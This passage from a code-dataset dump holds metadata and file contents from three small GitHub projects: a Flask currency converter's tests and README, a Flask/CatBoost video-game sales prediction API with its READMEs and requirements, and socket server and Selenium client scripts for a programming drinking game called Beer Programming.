'11-10-2019'\n }, follow_redirects=True)\n self.assertIn(b\"Incorrect date format, should be YYYY-MM-DD\", response.data)\n\n\n def test_covert_amount(self):\n response = self.client.post(\n '/', data={\n 'src_currency': 'EUR',\n 'dest_currency': 'USD',\n 'amount': 'test',\n 'date': '2019-10-11'\n }, follow_redirects=True)\n self.assertIn(b\"Not a valid float value\", response.data)\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.7336108088493347, "alphanum_fraction": 0.7471383810043335, "avg_line_length": 23.64102554321289, "blob_id": "46133ce572ef9ff99c8be84c2aabc0a81cc3711b", "content_id": "c5a306ee285a8d71653dd78926127a1973cdec60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 961, "license_type": "no_license", "max_line_length": 134, "num_lines": 39, "path": "/README.md", "repo_name": "MotazBellah/currency-converter-exchangeratesAPI", "src_encoding": "UTF-8", "text": "# Currency Converter\n\nApplication to convert the currency based on exchangeratesAPI\nhttps://exchangeratesapi.io/\nHeroku https://curr-conv.herokuapp.com/\n\n## Code style\n\n- This project is written in python 3.\n- Flask framework.\n- Bootstrap in front-end\n\n## Project Files\n\n- app.py: application file\n\n- wtform_fields: Contain wtforms class for the form and validator\n\n- Dockerfile: contains all the commands a user could call on the command line to assemble an docker image\n\n- convert_test.py: contain tests\n\n- requirements.txt: Contain a list of items to be installed, use the command to install all of items `pip install -r requirements.txt`\n\n## Run\n\n### Dockerize the App\n\n- To build the image from Dockerfile run on project directory run `$ docker build -t currency-convert:latest . `\n\n- To Run the container run `$ docker run -d -p 3000:3000 currency-convert`\n\n- run `python app.py`\n\n- go to localhost:3000\n\n### Run the tests\n\n- run `python convert_test.py`\n" } ]
5
ashwinraj-in/VulpexWebApp
https://github.com/ashwinraj-in/VulpexWebApp
313a66cc465e6fb599365a4fad38fa72fd8db2af
48b6312407b4990d46fd202fef12b551f817b229
b8e94f9e90388bb47360b4d89fb2700b74128279
refs/heads/master
2022-12-25T09:12:22.866214
2022-02-28T10:49:38
2022-02-28T10:49:38
288,922,319
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6295454502105713, "alphanum_fraction": 0.6454545259475708, "avg_line_length": 27.399999618530273, "blob_id": "b90e0498fe71e25c5d00ba85b9444af8bd3c0fd5", "content_id": "2929f9e474582fd899ab3a70a05356d1562713c6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 880, "license_type": "permissive", "max_line_length": 90, "num_lines": 30, "path": "/Server/app.py", "repo_name": "ashwinraj-in/VulpexWebApp", "src_encoding": "UTF-8", "text": "from flask import Flask, jsonify, make_response, request, abort\r\nimport pandas as pd\r\nimport catboost\r\nimport pickle\r\nfrom flask_cors import CORS,cross_origin\r\nmodel = pickle.load(open( \"finalized_model.sav\", \"rb\"))\r\napp = Flask(__name__)\r\napp.config['CORS_HEADERS'] = 'Content-Type'\r\ncors = CORS(app)\r\[email protected](404)\r\n\r\ndef not_found(error):\r\n return make_response(jsonify({'error': 'Not found'}), 404)\r\n\r\[email protected](\"/\")\r\ndef hello():\r\n return \"Hello World!\"\r\n\r\[email protected](\"/get_prediction\", methods=['POST','OPTIONS'])\r\n@cross_origin()\r\ndef get_prediction():\r\n if not request.json:\r\n abort(400)\r\n df = pd.DataFrame(request.json, index=[0])\r\n cols=[\"CONSOLE\",\"RATING\",\"CRITICS_POINTS\",\"CATEGORY\",\"YEAR\",\"PUBLISHER\",\"USER_POINTS\"]\r\n df = df[cols]\r\n return jsonify({'result': model.predict(df)[0]}), 201\r\n\r\nif __name__ == \"__main__\":\r\n app.run()" }, { "alpha_fraction": 0.4321223795413971, "alphanum_fraction": 0.6367112994194031, "avg_line_length": 14.870967864990234, "blob_id": "8a9568d2175b9b5a324a1728fe88242f2e45da7e", "content_id": "06c190c9f8d1007923b1302e76224e59c70ebbe7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 523, "license_type": "permissive", "max_line_length": 24, "num_lines": 31, "path": "/Server/requirements.txt", "repo_name": "ashwinraj-in/VulpexWebApp", "src_encoding": "UTF-8", "text": "astroid==2.4.2\r\ncatboost==0.23.2\r\nclick==7.1.2\r\ncycler==0.10.0\r\nFlask==1.1.2\r\nFlask-Cors==1.10.3\r\ngraphviz==0.14.1\r\ngunicorn==20.0.4\r\nisort==4.3.21\r\nitsdangerous==1.1.0\r\nJinja2==2.11.2\r\nkiwisolver==1.2.0\r\nlazy-object-proxy==1.4.3\r\nMarkupSafe==1.1.1\r\nmatplotlib==3.3.0\r\nmccabe==0.6.1\r\nnumpy==1.19.1\r\npandas==1.0.5\r\nPillow==7.2.0\r\nplotly==4.9.0\r\npylint==2.5.3\r\npyparsing==2.4.7\r\npython-dateutil==2.8.1\r\npytz==2020.1\r\nretrying==1.3.3\r\nscipy==1.5.2\r\nsix==1.15.0\r\ntoml==0.10.1\r\ntyped-ast==1.4.1\r\nWerkzeug==1.0.1\r\nwrapt==1.12.1\r\n" }, { "alpha_fraction": 0.785059928894043, "alphanum_fraction": 0.7906976938247681, "avg_line_length": 63.5, "blob_id": "f1e06958260acaba318818d039c32d10ce0bee23", "content_id": "50f9953d6888b264089f2d9720ef4cfc283ab04e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1419, "license_type": "permissive", "max_line_length": 274, "num_lines": 22, "path": "/Server/README.md", "repo_name": "ashwinraj-in/VulpexWebApp", "src_encoding": "UTF-8", "text": "# Server\nThis folder contains the server side (backend) scripts for the sales prediction webapp. Before contributing to this project, make sure your environment has the installed pip packages shown in the requirement.txt file.\n\n# Files and Folders\n\n### Procfile:\n\nHeroku apps include a Procfile that specifies the commands that are executed by the app on startup. Procfile can be used to declare a variety of process types, including: the app's web server, multiple types of worker processes and even a singleton process, such as a clock.\n\n### App.py\nThis file contains the API for the web application. To run the file use the command ```python3 app.py```. This will start the server on 5000 port. The API can be tested in the Postman client by sending a POST API call. \n\n### Finalized Model:\nThis file contains the code for our prediction model. The regression model uses CatBoost to make predictions for sales. A major beneit of using catboost regression is that it can work on categorical features directly without having to label encode the categorical features.\n\nThe RMSE for the model is 1.5. The model can be improved further by using ensemble learning techniques.\n\n### Requirements\nThis file consists of the necessary pip packages to be installed before contributing to the package. All the files can be installed into your environment using the following command:\n```\nsudo pip3 install -r requirements.txt\n```\n" }, { "alpha_fraction": 0.7749186754226685, "alphanum_fraction": 0.7843832969665527, "avg_line_length": 69.41666412353516, "blob_id": "d765f79429fd2e8c40fbf7d446cd1c55742add02", "content_id": "d2a241b48209d92553f27cd0845ed1bb80507d58", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3381, "license_type": "permissive", "max_line_length": 472, "num_lines": 48, "path": "/README.md", "repo_name": "ashwinraj-in/VulpexWebApp", "src_encoding": "UTF-8", "text": "# Vulpex WebApp\n\nVulpex is a web application deployed over Heroku that uses Machine Learning model to predict sales of Video Games. Python Flask is used to create the backend APIs. [Netlify](https://www.netlify.com/) is used to host the web app online. \n\nThe project was started in 2020 and is distributed under the [MIT license](https://github.com/ashwinraj-in/vulpexWebApp/blob/master/LICENSE) and is maintained by [Ashwin Raj](https://github.com/ashwinraj-in)\n\n# Installation and Development\n### Dependencies\n- Python (>= 3.7.9)\n- Flask (>=1.1.2)\n- Node.js (>=12.18.3) \n\n### Files and Folders\nFolders that are necessary for the functioning of web app are as mentioned below:\n- [Server](https://github.com/ashwinraj-in/Vulpex-WebApp/tree/master/Server):\n This folder consists the backend files of the web app. This stores and manipulates the data.\n\n- [Frontend](https://github.com/ashwinraj-in/Vulpex-WebApp/tree/master/Frontend):\n It consists of file used to develop graphical interface through the use of HTML, CSS and Javascript.\n \n- [Data](https://github.com/ashwinraj-in/Vulpex-WebApp/tree/master/Data): It contains the data used for building the machine learning model for target prediction.\n\n## Creating and Deploying Backend API\nPython Flask is used to deploy the backend APIs. The application uses a POST API, and it is recommended to install Postman tool. The tool is used to send a POST request to the server. This is the backend for the application. Heroku is used as the API hosting platform for the application. Sign up on Heroku website and install Heroku CLI to work on it.\n\n## Creating a client-side app using react and bootstrap\nBefore proceeding further install Node.js and yarn package manager. First, we need to import relevant bootstrap files in the index.html file found in the public folder within our app. The final UI is a collection dropdown item. We are making use of Axios npm module to make a POST API call to backend Heroku server.\n\n## Deploying the Client-Side app to Netlify \nNetlify allows to instantly build and deploy static websites from git. It has a quite easy process when deploying applications made using create-react-app module. Deployment to netlify is straight forward and easy process and can be achieved by going through their official documents here: [Netlify Deploy](https://www.netlify.com/blog/2016/09/29/a-step-by-step-guide-deploying-on-netlify/https://www.netlify.com/blog/2016/09/29/a-step-by-step-guide-deploying-on-netlify/)\n\n# Contribution\n\nNew contributors of all experience levels are welcomed to contribute to this project. Some basic information about the project has been included in this README. For major changes, it is recommended that you open an issue first to discuss what you would like to change.\n\n### Clone the repository\nTo contribute to this project you have to clone the repository and send a pull request.\n```\ngit clone https://github.com/ashwinraj-in/Vulpex-WebApp\n```\n### Installing Required Libraries\nThe web application requires some requirements that can be installed using the following code.\n```\nsudo pip3 install -r requirements.txt\n```\n\n# License and Project Status\nThe software and other resources are distributed under MIT license. The project is completed and all the files are available in this repository. The UI is basic and the design can be improved using CSS for improving the visuals. \n" }, { "alpha_fraction": 0.7979797720909119, "alphanum_fraction": 0.8008658289909363, "avg_line_length": 137.60000610351562, "blob_id": "3d32d0b8cd1a2a011b11645d0988e657b78ca65b", "content_id": "cccab42b8f86c2553c083cde981caef18e9126d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 693, "license_type": "permissive", "max_line_length": 471, "num_lines": 5, "path": "/Data/README.md", "repo_name": "ashwinraj-in/VulpexWebApp", "src_encoding": "UTF-8", "text": "# Data\nThis folder contains the dataset that is used for building the regresion model. The dataset is taken from the Video Games sales prediction hackathon which ran on the Machine Hack website. \n\n## Download The Dataset\nTo download the dataset from their website, you need to create an account on [MachineHack](https://www.machinehack.com/) and register for the hackathon on this [link](https://www.machinehack.com/hackathons/video_game_sales_prediction_weekend_hackathon_10). Once registered go to the data tab and download the zip file which will have three files viz Train, Test, and Sample Submission. We have used the Train and Test Data for training and testing the model respectively.\n" } ]
5
saisua/BeerProgramming
https://github.com/saisua/BeerProgramming
9b5dbbfb076bd14e10f554ee4bcfc2b1c5bb913c
1260d4a185c0a38ffbe1d4bbf5a2f9f5eb3908d6
4c55918d8c8d33f9d5b64bac1e48e8a46e526ee1
refs/heads/master
2020-07-21T09:26:49.583889
2019-11-27T22:54:11
2019-11-27T22:54:11
206,815,604
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.550220251083374, "alphanum_fraction": 0.557885468006134, "avg_line_length": 37.96479034423828, "blob_id": "a5bf1ccf3dbfe2ae5407057c1ea41ddaac72b0b5", "content_id": "0a0eca6b1c5b44262be1ca4db98c59d407ebc795", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11351, "license_type": "permissive", "max_line_length": 126, "num_lines": 284, "path": "/run_server.py", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "#!./python3.7/python\r\n\r\nimport Server #, front\r\nimport logging\r\n#from wx import App\r\nfrom multiprocessing import Process, Manager\r\nfrom re import finditer, sub\r\nfrom random import randint\r\n\r\nimport time, datetime\r\n\r\n# This function gets executed when you run\r\n# python run_server.py and its use is to deploy\r\n# the main server used in Beer_Programming\r\ndef main():\r\n logging.basicConfig(format=\"%(asctime)s %(levelname)s | %(message)s\", level=logging.DEBUG)\r\n from sys import argv\r\n Beer_programming(gui=False,**arg_parse(argv)).play()\r\n\r\n# arg_parse does take a list of arguments and returns\r\n# one dict with the parameters and values (str) determined\r\n# by the keys and values of arg_dict\r\n# if one key is found, the following argument is\r\n# chosen as a value\r\ndef arg_parse(args:list, arg_dict:dict=\r\n {\"--ip\":\"ip\",\"--port\":\"port\", \r\n \"-i\":\"ip\",\"-p\":\"port\",\r\n \"-pl\":\"player_num\",\r\n \"--players\":\"player_num\",\r\n \"-t\":\"compile_time\",\r\n \"--time\":\"compile_time\",\r\n \"-dpe\":\"drinks_per_error\",\r\n \"--drinks_per_error\":\"drinks_per_error\"}) -> dict:\r\n final = {}\r\n before = False\r\n for arg in args[1:]:\r\n if(before):\r\n logging.debug(f\"Found arg ({before}) : {arg}\")\r\n final[before] = arg\r\n before = False\r\n continue\r\n value = arg_dict.get(arg, None)\r\n if(not value is None):\r\n before = value\r\n return final\r\n \r\n\"\"\"\r\n The class Beer_programming is the main class used to\r\n play the game. It will create the server to which the\r\n clients will connect to. Between its features, it will\r\n mostly stay still until it is time for the users to\r\n compile, and then it will send them the order to do so,\r\n until someone finishes.\r\n\"\"\"\r\nclass Beer_programming():\r\n def __init__(self, ip:str=None, port:int=12412, player_num:int=1, \r\n compile_time:int=240, gui:bool=True,\r\n drinks_per_error:\"(float,function)\"=(1,round)):\r\n self.serv = Server.Server(ip, int(port), order_dict=\r\n {\"--add_player\":self.add_player,\r\n \"--send_players\":self.send_players,\r\n \"--chat\":self.add_chat,\"--send_chat\":self.send_chat,\r\n \"--play\":self.play,\r\n \"--drink\":self.drink})\r\n \r\n self.players = Manager().dict()\r\n self.players_drinks = Manager().dict()\r\n self.players_last_drink = Manager().dict()\r\n \r\n self.compile_time = float(compile_time)\r\n self.compile_at = Manager().list()\r\n\r\n if(type(drinks_per_error) is str): drinks_per_error = eval(drinks_per_error)\r\n if(not hasattr(drinks_per_error, '__iter__')):\r\n drinks_per_error = (float(drinks_per_error), round)\r\n\r\n self.drinks_per_error = drinks_per_error\r\n\r\n self.end = Manager().list([False])\r\n\r\n self.conn_step = [\";;\"]\r\n self.conn_symbols = {\"Serv_to_Client\":\";;\", \"Client_to_Serv\":\"::\",\r\n \"Serv_listen\":\"->\", \"Serv_send\":\"<_\",\r\n \"Client_listen\":\"<-\", \"Client_send\":\"<_\",\r\n \"Urgency\":\"!!\", \"Evaluate\":\"#\"}\r\n\r\n self.chat = Manager().list()\r\n\r\n if(gui): self.gui()\r\n\r\n self.serv.listen_connections(int(player_num))\r\n \r\n # __play has debugging purposes, and it allows the\r\n # user to send the server direct orders\r\n def __play(self, addr:tuple):\r\n logging.debug(f\"__play({addr})\")\r\n \r\n while(len(self.conn_step)):\r\n\r\n step = self.conn_step[0]\r\n self.conn_step.pop(0)\r\n\r\n if(step == self.conn_symbols[\"Serv_to_Client\"] or step == self.conn_symbols[\"Serv_send\"]):\r\n decoded_data = input(\"> \")\r\n if(step == self.conn_symbols[\"Evaluate\"]): decoded_data = eval(decoded_data)\r\n\r\n self.symbol_parse(decoded_data)\r\n \r\n self.serv.sendto(decoded_data,addr)\r\n \r\n elif(step == self.conn_symbols[\"Client_to_Serv\"] or step == self.conn_symbols[\"Serv_listen\"]):\r\n self.listen(addr)\r\n logging.debug(f\"Conn_steps: {self.conn_step}\")\r\n\r\n # play is the main function that shold be run to\r\n # ensure the game is automatic and no problems arise.\r\n # It will first ask the users to open an instance of\r\n # the compiler\r\n def play(self, addr:tuple):\r\n logging.debug(f\"play({addr})\")\r\n\r\n self.serv.sendto(\"--_start!!<-\", addr)\r\n\r\n self.listen(addr)\r\n\r\n while(not self.end[0]):\r\n if(self.conn_step[0] == \";;\" or self.conn_step[0] == \"<_\"): self.conn_step.pop(0)\r\n self.sleep(compile_after=True, addr=addr)\r\n print(\"\\n\\n\")\r\n for pl,v in self.players_last_drink.items(): print(f\"player {pl} must drink {v}\")\r\n print(\"\\n\\n\")\r\n\r\n # symbol_parse is used by the user and the client\r\n # to tell (into a queue) what the Server should do\r\n # next (listen/send something)\r\n def symbol_parse(self, command:str):\r\n urgent = False\r\n num = 0\r\n for symbol in finditer('|'.join(self.conn_symbols.values()), command):\r\n if(symbol.group(0) == self.conn_symbols[\"Urgency\"]):\r\n urgent = True\r\n else:\r\n if(urgent):\r\n self.conn_step.insert(num, symbol.group(0))\r\n urgent = False\r\n num += 1\r\n else:\r\n self.conn_step.append(symbol.group(0))\r\n\r\n # listen does wait for the client in addr to send data\r\n # which then is parsed and executed if it matches any\r\n # order_dict key\r\n def listen(self, addr:tuple, max_timeout:float=None):\r\n if(addr is None): return\r\n \r\n timeout = 0\r\n\r\n if(max_timeout is None):\r\n max_timeout = datetime.datetime.now() + datetime.timedelta(days=30)\r\n else:\r\n max_timeout = datetime.datetime.now() + datetime.timedelta(seconds=int(max_timeout), \r\n milliseconds=int(max_timeout*1000%1000))\r\n\r\n while(datetime.datetime.now() < max_timeout):\r\n data = self.serv._client_from_addr[addr].recv(1024)\r\n decoded_data = data.decode(\"utf-8\")\r\n if(data is None):\r\n timeout += 1\r\n logging.debug(f\"Timeout of user {addr} increased to {timeout}\")\r\n if(timeout > 9): \r\n logging.warning(f\"User {addr} has disconnected\")\r\n break\r\n elif(decoded_data != ''):\r\n timeout = 0\r\n logging.info(f\"Recived data '{decoded_data}' from address {addr}\")\r\n \r\n self.symbol_parse(decoded_data)\r\n\r\n decoded_data = sub('|'.join(self.conn_symbols.values()),'',decoded_data)\r\n\r\n self.serv.parse_data(decoded_data, addr)\r\n break\r\n \r\n\r\n # Ausiàs cabro pegali a ton pare\r\n\r\n #\r\n # Game related functions\r\n #\r\n\r\n # add_player adds to self.players the alias given\r\n # by the player with the key being the sender's address\r\n # if the player did not exist, it gets assigned\r\n # to 0 the record of drinks haven\r\n def add_player(self, addr:tuple, name:str):\r\n self.players[addr] = name\r\n if(self.players_drinks.get(addr, None) is None):\r\n self.players_drinks[addr] = 0\r\n self.players_last_drink[addr] = False\r\n\r\n # send_players is a mean for the clients to keep\r\n # the record of players updated. It will send to\r\n # the client the order to add/overwrite the name\r\n # of all players asked. Making use of python's dict\r\n # being ordered structures, it is possible to ask only\r\n # all players that came after number {last}, to reduce\r\n # the amount of data to send in cases where there's\r\n # a lot of players\r\n def send_players(self, addr:tuple, last:int=0):\r\n players = list(self.players.items())\r\n if(last >= len(players) or last < 0): return\r\n for player in players[last:-1]:\r\n self.serv.sendto(f\"--add_player;{player}{self.conn_symbols['Urgency']}{self.conn_symbols['Client_listen']}\", addr)\r\n self.serv.sendto(f\"--add_player;{players[-1]}\", addr)\r\n \r\n # add_chat will add an entry into the self.chat list\r\n # with a tuple containing the address of the sender\r\n # and the message he/she sent\r\n def add_chat(self, addr:tuple, text:str):\r\n self.chat.append((addr, text))\r\n \r\n # send_chat will send the client in addr all chat entries\r\n # from {last}\r\n def send_chat(self, addr:tuple, last:int=0):\r\n if(last >= len(self.chat) or last < 0): return\r\n for mssg in self.chat[last:-1]:\r\n self.serv.sendto(f\"--add_chat;{mssg}{self.conn_symbols['Urgency']}{self.conn_symbols['Client_listen']}\",addr)\r\n self.serv.sendto(f\"--add_chat;{self.chat[-1]}\",addr)\r\n \r\n # drink is a function executed by the client to add as a\r\n # record how many drink has an user had.\r\n # It also does send back the client to tell the user\r\n # what to drink\r\n def drink(self, addr:tuple, drinks:int=1):\r\n drinks = self.drinks_per_error[1](drinks*\r\n self.drinks_per_error[0])\r\n\r\n print(f\"Player {addr} drinks {drinks}\")\r\n\r\n self.players_drinks[addr] += int(drinks)\r\n self.players_last_drink[addr] = int(drinks)\r\n\r\n self.serv.sendto(f\"--drink;{drinks}\",addr)\r\n\r\n # sleep (kind of) overloads the time.sleep in order to\r\n # make the process sleep but until the time defined by\r\n # the server (stored in self.compile_at[0]) and to\r\n # tell the client to compile if {compile_after}\r\n def sleep(self, sleep_time:float=None, compile_after:bool=False, addr:tuple=None):\r\n if(sleep_time is None): \r\n if(not len(self.compile_at)):\r\n self.compile_at.append(datetime.datetime.now() + datetime.timedelta(seconds=self.compile_time)) \r\n elif(self.compile_at[0] < datetime.datetime.now()):\r\n self.compile_at[0] = datetime.datetime.now() + datetime.timedelta(seconds=self.compile_time-randint(0,20))\r\n \r\n sleep_time = (self.compile_at[0] - datetime.datetime.now()).seconds\r\n\r\n logging.info(f\"Sleeping for {sleep_time} seconds.\")\r\n\r\n time.sleep(sleep_time)\r\n if(compile_after):\r\n self.serv.sendto(f\"--compile{self.conn_symbols['Client_listen']}\", addr)\r\n self.listen(addr, max_timeout=5)\r\n\r\n # gui is used for displaying the connected users if\r\n # the server device has a display attached to it\r\n def gui(self):\r\n logging.debug(\"BeerProgramming.gui(self)\")\r\n \"\"\"\r\n app = App()\r\n \r\n frame = front.Frame(name=\"Beer Programming\")\r\n panel = frame.new_panel(bgcolor=(50,50,50))\r\n \r\n player_panel = panel.new_panel(\"(%0.49,%1)\")\r\n chat_panel = panel.new_panel(\"(%0.49,%1)\",\"(%0.51,0)\")\r\n \r\n self.text_list = {self.name:panel.add_text((0,0),\"(%1,%0.2)\", self.name)}\r\n \r\n app.MainLoop()\r\n \"\"\"\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n" }, { "alpha_fraction": 0.5515166521072388, "alphanum_fraction": 0.5559079647064209, "avg_line_length": 36.91455841064453, "blob_id": "fd61d3346b0ca87b90bd7c12c99ab8ee072cf217", "content_id": "7c6ed005a1adda75ccd8b8c36a85ab6126b23729", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12297, "license_type": "permissive", "max_line_length": 123, "num_lines": 316, "path": "/play.py", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "#!./python3.7/python\r\n\r\nimport Client , front\r\nfrom wx import App\r\nfrom multiprocessing import Process\r\nimport logging\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\nfrom selenium.common.exceptions import TimeoutException, StaleElementReferenceException, NoAlertPresentException\r\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\r\nfrom selenium import webdriver\r\nfrom re import finditer, sub\r\nimport time\r\n\r\n# This function gets executed when you run\r\n# python play.py and it serves as a way to run\r\n# the Beer_programming client and parse the user's\r\n# arguments\r\ndef main():\r\n logging.basicConfig(format=\"%(asctime)s %(levelname)s | %(message)s\", level=logging.DEBUG)\r\n from sys import argv\r\n Beer_programming(**arg_parse(argv)).play(False)\r\n\r\n# arg_parse does take a list of arguments and returns\r\n# one dict with the parameters and values (str) determined\r\n# by the keys and values of arg_dict\r\n# if one key is found, the following argument is\r\n# chosen as a value\r\ndef arg_parse(args:list, arg_dict:dict=\r\n {\"--ip\":\"ip\",\"--port\":\"port\",\r\n \"-i\":\"ip\",\"-p\":\"port\"}) -> dict:\r\n final = {}\r\n before = False\r\n for arg in args[1:]:\r\n if(before):\r\n logging.debug(f\"Found arg ({before}) : {arg}\")\r\n final[before] = arg\r\n before = False\r\n continue\r\n \r\n value = arg_dict.get(arg, None)\r\n if(not value is None):\r\n before = value\r\n \r\n\r\n return final\r\n\r\n\"\"\"\r\n The class Beer_programming is the main class used to\r\n play the game. It will create a Client, who will then\r\n connect to the server, which will rule the game.\r\n Between its features there is the possibility to\r\n run and compile the chosen online compiler, and to\r\n chat (unused)\r\n\"\"\"\r\nclass Beer_programming():\r\n def __init__(self, ip:str=None, port:int=12412):\r\n logging.debug(f\"BeerProgramming.__init__(self,{ip},{port})\")\r\n self.client = Client.Client()\r\n self.listener = None\r\n \r\n self.order_dict = {\"--compile\":self.compile,\r\n \"--drink\":self.drink,\r\n \"--add_player\":self.add_player,\r\n \"--add_chat\":self.add_chat,\r\n\r\n \"--_print\":self.__print_gui,\r\n \"--_start\":self.start_compiler}\r\n\r\n self.players = {}\r\n self.chat = []\r\n self.drinks = 0\r\n\r\n self.conn_step = [\";;\"]\r\n self.conn_symbols = {\"Serv_to_Client\":\";;\", \"Client_to_Serv\":\"::\",\r\n \"Serv_listen\":\"->\", \"Serv_send\":\"<_\",\r\n \"Client_listen\":\"<-\", \"Client_send\":\"<_\",\r\n \"Urgency\":\"!!\", \"Evaluate\":\"#\"}\r\n\r\n if(not ip is None): self.connect(ip,port)\r\n else: self.connect(\"127.0.0.1\", port)\r\n\r\n # The play function should be the first function to be\r\n # executed when the server starts to listen to the socket.\r\n # When executed, play will send the server the order to\r\n # add itself as a named user, will ask the server\r\n # what are the names of the other players and then it\r\n # will give the server the control.\r\n # play can open a gui(unused) and will then run\r\n # _play_process\r\n def play(self, gui:bool=True) -> None:\r\n logging.debug(f\"BeerProgramming.play(self, {gui})\")\r\n name = False\r\n while(not name):\r\n name = input(\"In-game alias: \")\r\n name = name if input(\"Confirm?[Y/n] \").lower() in [\"y\",\"ye\",\"yes\",\"s\",\"si\"] else False\r\n self.name = name\r\n \r\n self.client.send_to_server(f\"--add_player;{name}{self.conn_symbols['Client_to_Serv']}\")\r\n logging.debug(\"Sent alias to server\")\r\n self.client.send_to_server(f\"--play{self.conn_symbols['Serv_to_Client']}\")\r\n logging.debug(\"Sent play petition to server\")\r\n \r\n #self.start_compiler()\r\n \r\n if(gui): \r\n play_pro = Process(target=self._play_process)\r\n play_pro.start()\r\n self.gui()\r\n play_pro.join()\r\n else: self._play_process()\r\n \r\n # _play_process is the main function to interactuate\r\n # with the server. Based on the actual state of the\r\n # Beer_programming.conn_steps queue it will either\r\n # listen or ask what to send to the server.\r\n # It's the server's job to determine if it should or\r\n # should not need the user's input\r\n def _play_process(self) -> None:\r\n while(len(self.conn_step)):\r\n \r\n step = self.conn_step[0]\r\n self.conn_step.pop(0)\r\n\r\n if(step == self.conn_symbols[\"Client_to_Serv\"] or step == self.conn_symbols[\"Client_send\"]):\r\n decoded_data = input(\"> \")\r\n if(step == self.conn_symbols[\"Evaluate\"]): decoded_data = eval(decoded_data)\r\n\r\n self.symbol_parse(decoded_data)\r\n \r\n self.client.send_to_server(decoded_data)\r\n elif(step == self.conn_symbols[\"Serv_to_Client\"] or step == self.conn_symbols[\"Client_listen\"]):\r\n decoded_data = self.listen()\r\n\r\n logging.info(f\"Recived data '{decoded_data}' from server\")\r\n \r\n self.symbol_parse(decoded_data)\r\n\r\n decoded_data = sub(f'|'.join(self.conn_symbols.values()),'',decoded_data)\r\n\r\n self.data_parse(decoded_data)\r\n \r\n logging.debug(f\"Conn_steps: {self.conn_step}\")\r\n\r\n # connect (kind of) overrides Client.connect. Even if\r\n # unnecessary, I think this function makes the code\r\n # cleaner\r\n def connect(self, ip:str, port:int=12412) -> None:\r\n logging.debug(f\"BeerProgramming.connect(self, {ip}, {port})\")\r\n self.listener = self.client.connect(ip,port)\r\n\r\n # listen does make use of the Client's generator to\r\n # listen to the server and return a string\r\n def listen(self, listener:\"generator\"=None) -> str:\r\n #logging.debug(f\"BeerProgramming.listen(self, {listener})\")\r\n if(listener is None):\r\n if(self.listener is None): return\r\n listener = self.listener\r\n\r\n return(next(listener))\r\n \r\n # (unused) gui does open a gui for the user to see\r\n # all clients connected and chat with them\r\n def gui(self) -> None:\r\n logging.debug(\"BeerProgramming.gui(self)\")\r\n app = App()\r\n \r\n frame = front.Frame(name=\"Beer Programming\")\r\n panel = frame.new_panel(bgcolor=(50,50,50))\r\n \r\n player_panel = panel.new_panel(\"(%0.49,%1)\")\r\n chat_panel = panel.new_panel(\"(%0.49,%1)\",\"(%0.51,0)\")\r\n \r\n self.text_list = {self.name:panel.add_text((0,0),\"(%1,%0.2)\", self.name)}\r\n \r\n app.MainLoop()\r\n \r\n # start_compiler does start a new selenium instance (gecko)\r\n # controlled by the game to make sure nobody can cheat\r\n # with (at least) one saved file\r\n def start_compiler(self) -> None:\r\n logging.info(\"Configuration complete. Trying to run the drivers. This could take some time...\")\r\n self.driver = webdriver.Firefox(executable_path=(\r\n __file__).replace(\"play.py\", \"geckodriver\"))\r\n #options=options, firefox_profile=profile,# capabilities=firefox_capabilities, \r\n #firefox_binary=FirefoxBinary((__file__).replace(\"play.py\", \"geckodriver\")))\r\n logging.info(\"Drivers ran succesfully!\")\r\n \r\n self.driver.get(\"https://www.onlinegdb.com/online_java_compiler\")\r\n self.tab = self.driver.current_window_handle\r\n \r\n self.driver.find_element_by_xpath(\"//*[@class='glyphicon glyphicon-menu-left']\").click()\r\n\r\n self.client.send_to_server(\"Done\")\r\n\r\n # data_parse takes any message sent by the server\r\n # and it executes the function assigned as key\r\n # in the self.order_dict dictionary\r\n def data_parse(self, data:str) -> None:\r\n #print(f\"data_parse {data}\")\r\n order = None\r\n args = ()\r\n for arg in data.split(';'):\r\n new_ord = self.order_dict.get(arg.strip(), None)\r\n print(f\"arg:{arg}, new_ord:{new_ord}\")\r\n if(not new_ord is None):\r\n if(not order is None): \r\n print(f\"{order}{args}\")\r\n try:\r\n order(*args)\r\n except Exception as err: print(f\"ERROR: {err}\")\r\n \r\n order = new_ord\r\n args = ()\r\n \r\n elif(arg.strip() != ''): args+=(arg.strip(),)\r\n \r\n if(not order is None): \r\n print(f\"{order}{args}.\")\r\n try:\r\n order(*args)\r\n except Exception as err:\r\n print(order)\r\n print(args)\r\n raise err\r\n print(f\"ERROR: {err}.\")\r\n\r\n # symbol_parse is used by the user and the server\r\n # to tell (into a queue) what the Client should do\r\n # next (listen/send something)\r\n def symbol_parse(self, command:str):\r\n urgent = False\r\n num = 0 \r\n for symbol in finditer('|'.join(self.conn_symbols.values()), command):\r\n if(symbol.group(0) == self.conn_symbols[\"Urgency\"]):\r\n urgent = True\r\n else:\r\n if(urgent):\r\n self.conn_step.insert(0, symbol.group(0))\r\n urgent = False\r\n num += 1\r\n else:\r\n self.conn_step.append(symbol.group(0))\r\n \r\n #\r\n # Game related functions\r\n #\r\n\r\n # compile will make use of the selenium instance to\r\n # try to compile the code. Any error in the code will\r\n # be sent to the server, who will answer how\r\n # many times will have the user to drink\r\n def compile(self) -> int:\r\n 